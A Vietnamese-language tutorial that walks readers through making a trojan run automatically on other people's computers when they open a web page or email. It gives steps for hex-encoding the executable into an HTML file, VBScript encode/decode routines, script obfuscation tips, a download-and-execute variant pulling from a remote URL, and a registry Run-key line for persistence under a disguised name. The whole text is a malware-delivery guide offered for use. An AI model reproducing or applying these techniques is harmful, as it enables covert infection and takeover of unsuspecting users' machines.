Bạn muốn chạy tự động 1 trojan trên máy tính người khác khi họ xem trang Web hoặc Email của bạn...! Có cách nào không??? Dĩ nhiên là được rồi! Bài viết này sẽ giúp bạn giải quyết vấn đề!
1) Hướng dẫn:
• Bước 1: chuẩn bị một file trojan.exe, kích thước khoảng 5 - 40Kb. Nếu bạn không có trojan, bạn có thể tải về từ trang TlSecurity.com hoặc tự viết một file
trojan.exe để xài!
• Bước 2: chạy convert16.exe để convert file trojan.exe sang trojan.hex
• Bước 3: dùng 1 trình soạn thảo văn bản dạng text( nên dùng EditPlus, nó rất
hay!) để sửa file temp.htm như sau:
Thay phần .doc=”4D5A900... 64620000” thành .doc=”<đặt nội dung của file trojan.hex vào đây>” VD: .doc=”9631447da55abcd44ac25...”
• Bước 4: Nhúng file nội dung file temp.htm sau khi sửa vào trang Web hoặc Email và gởi đến cho người khác!
2) Mã nguồn:
• Files:
§ tempsrc.hta dùng để extract và execute trojan.exe
§ tempsrc.htm file htm chính
§ convert16.vbp & convert16.frm : file nguồn của chương trình Convert 16, được viết bằng Visual Basic 6, dùng để convert file .exe sang file .hex
• Những vấn đề chính:
§ Kĩ thuật ‘Convert 16’: dùng để tạo 1 file nhị phân, ví dụ như trojan.exe
Chuyển mã ANSI của kí tự sang hệ cơ số 16 hexa. Từ mã ANSI của kí tự ở hệ 16 chúng ta dễ dàng chuyển về lại kí tự ban đầu. Để dễ hiểu, tôi đưa ra ví dụ sau:
Kí tự
L
P
T
V
C
l
u
b
2
0
0
1
Mã ANSI ở hệ 10
76
80
84
86
32
67
108
117
98
32
50
48
48
49
Mã ANSI ở hệ 16
4C
50
54
56
20
43
6C
75
62
20
32
30
30
31
Encode16 Decode16
“LPTV Club 2001” “4C50545620436C75622032303031” “LPTV Club 2001”
‘--- VBScript Code ---
function encode16(st)
for i = 1 to len(st)
temp = hex((asc(mid(st,i,1)))
‘ mid(st,i,1) lấy 1 kí tự trong chuổi st ở vị trí thứ i
‘ asc(mid(st,i,1)) trả về mã ANSI của kí tự này
‘ temp = hex((asc(mid(st,i,1))) sẽ chứa mã ANSI ở hệ 16 của kí tự
if len(temp) = 1 then ‘vì mã ANSI của kí tự chỉ nằm trong khoảng từ 0 đến 255 (0h-FFh), nên nếu độ dài của temp=1 chúng ta sẽ thêm 0 vào trước! Ví dụ: 0A, 07, ...
temp =”0” & temp
end if
encode16 = encode16 & temp
next
end function
function decode16(st)
for i =1 to len(st) step 2 ‘như ở trên, mỗi kí tự được mã bằng đúng 2 kí tự nên bước nhảy step = 2
decode16 = decode16 & chr(“&h” & mid(st,i,2))
‘ mid(st,i,2) trả về 1 chuổi gồm 2 kí tự, bắt đầu từ vị trí thứ i trong chuổi
‘chr(“&h” & mid(st,i,2)) trả về kí tự có mã ANSI ở hệ 16; “&h” dùng để chỉ hệ 16
next
end function
‘--- VBScript Code ---
§ Kĩ thuật ‘Encode’: được sử dụng trong file temp.hta & temp.htm
. Mục đích:
+ giảm kích thước file
+ làm cho mã lệnh khó đọc đối với người khác
. Ví dụ: thay vì viết lệnh rõ ràng:
on error resume next
dn=chr(34)
xd=vbcrlf
set wsh=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
Chúng ta cũng có thể viết lại như sau:
on error resume nextj=chr(34)q=vbcrlfset g=createobject("wscript.shell")set t6=createobject("scripting.filesystemobject")
Bạn thấy mã lệnh nhỏ hơn trước và có khó đọc không?
3) Hỏi/Đáp:
• Có thể gắn virus hoặc 1 chương trình khác thay cho trojan không?
Dĩ nhiên là được rồi! Bạn thử nghĩ lại xem, file virus, trojan.exe hầu như đều là các file .exe chương trình có khả năng tự thực thi nên bạn hoàn toàn có thể thay đổi theo ý muốn của bạn!
• Nếu tôi gắn 1 file trojan.exe lớn trong file temp.html , file này sẽ lớn kinh khủng, người khác có thể nghi ngờ! Vậy làm sao bây giờ?
• Tôi muốn máy họ tự động download file trojan.exe từ trên mạng về và execute nó? Có được không?
Rất dễ! Thay vì phải gắn file trojan.exe, chúng ta sẽ gắn 1 file chương trình nhỏ khoảng 5 KB. Nhiệm vụ của file này là download trojan.exe từ
http://www.somewhere.com/yoursite/trojan.exe và thi hành nó! Bạn nên sửa lại mã của file .hta một chút!: bỏ lệnh xóa file temp.exe và thêm lệnh tạo registry-startup cho file temp.exe!
...
wsh.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kernel 32”,filetrojan
...